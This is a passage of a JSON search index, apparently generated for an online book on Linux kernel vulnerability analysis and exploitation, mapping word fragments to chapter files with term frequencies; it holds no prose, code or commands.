lation.html","tf":0.00042607584149978694}}}}}}}}}}},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}},"c":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"e":{"docs":{},"y":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"l":{"docs":{},"z":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"n":{"docs":{},"c":{"docs":{},"y":{"docs":{},"t":{"docs":{},"o":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"o":{"docs":{},"s":{"docs":{},"s":{"docs":{},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"c":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}},"m":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"n":{"docs":{},"o":{"docs":{},"_":{"docs":{},"h":{"docs":{},"z":{"docs":{},"_":{"docs":{},"f":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"u":{"docs":{},"m":{"docs":{},"a":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}}},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"r":{"docs":{},"x":{"docs":{},"_":{"docs":{},"b":{"docs":{},"u":{"docs":{},"s":{"docs":{},"y":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"f":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"o":{"docs":{},"s":{"docs":{},"i":{"docs":{},"x":{"docs":{},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"m":{"docs":{},"p":{"docs":{},"t":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"i":{"docs":{},"f":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}}},"s":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}},"r":{"docs":{},"t":{"docs":{},"_":{"docs":{},"m":{"docs":{},"u":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}},"l":{"docs":{},"o":{"docs":{},"b":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"u":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"p":{"docs":{},"a":{"docs":{},"n":{"docs":{},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}},"y":{"docs":{},"s":{"docs":{},"v":{"docs":{},"i":{"docs":{},"p":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"l":{"docs":{},"a":{"docs":{},"y":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"x":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"s":{"docs":{},"_":{"docs":{},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}},"u":{"docs":{},"b":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"b":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"v":{"docs":{},"i":{"docs":{},"r":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"g":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"p":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"/":{"docs":{},"g":{"docs":{},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{},"f":{"docs":{},"i":{"docs":{},"s":{"docs":{},"h":{"docs":{},".":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{},".":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"w":{"docs":{},"i":{"docs":{},"t":{"docs":{},"h":{"docs":{},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}}}}}},"r":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}},"t":{"docs":{},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"r":{"docs":{},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"_":{"docs":{},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}}}}}}}}},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"=":{"docs":{},"u":{"docs":{},":":{"docs":{},"r":{"docs":{},":":{"docs":{},"s":{"docs":{},"h":{"docs":{},"e":{"docs":{},"l":{"docs":{},"l":{"docs":{},":":{"docs":{},"s":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"docs":{}}}}}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"r":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}}}},"n":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"d":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"p":{"docs":{},"y":{"docs":{},"r":{"docs":{},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"i":{"docs":{},"n":{"docs":{},"(":{"docs":{},"v":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"(":{"docs":{},"v":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"u":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{},"d":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{},"o":{"docs":{},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"r":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"p":{"docs":{},"o":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"u":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0033604032483898066}}}}}}},"l":{"docs":{},"l":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},":":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"e":{"docs":{},"n":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}}}}}},"p":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},"[":{"3":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"docs":{}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"s":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"p":{"docs":{},"i":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}}}},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.01406050276949297},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"i":{"docs":{},"c":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509}},"a":{"docs":{},"l":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"i":{"docs":{},"t":{"docs":{},"i":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"o":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"=":{"docs":{},"$":{"docs":{},"{":{"docs":{},"c":{"docs":{},"r":{"docs":{},"o":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"}":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}}}}}},"a":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"u":{"docs":{},"r":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"c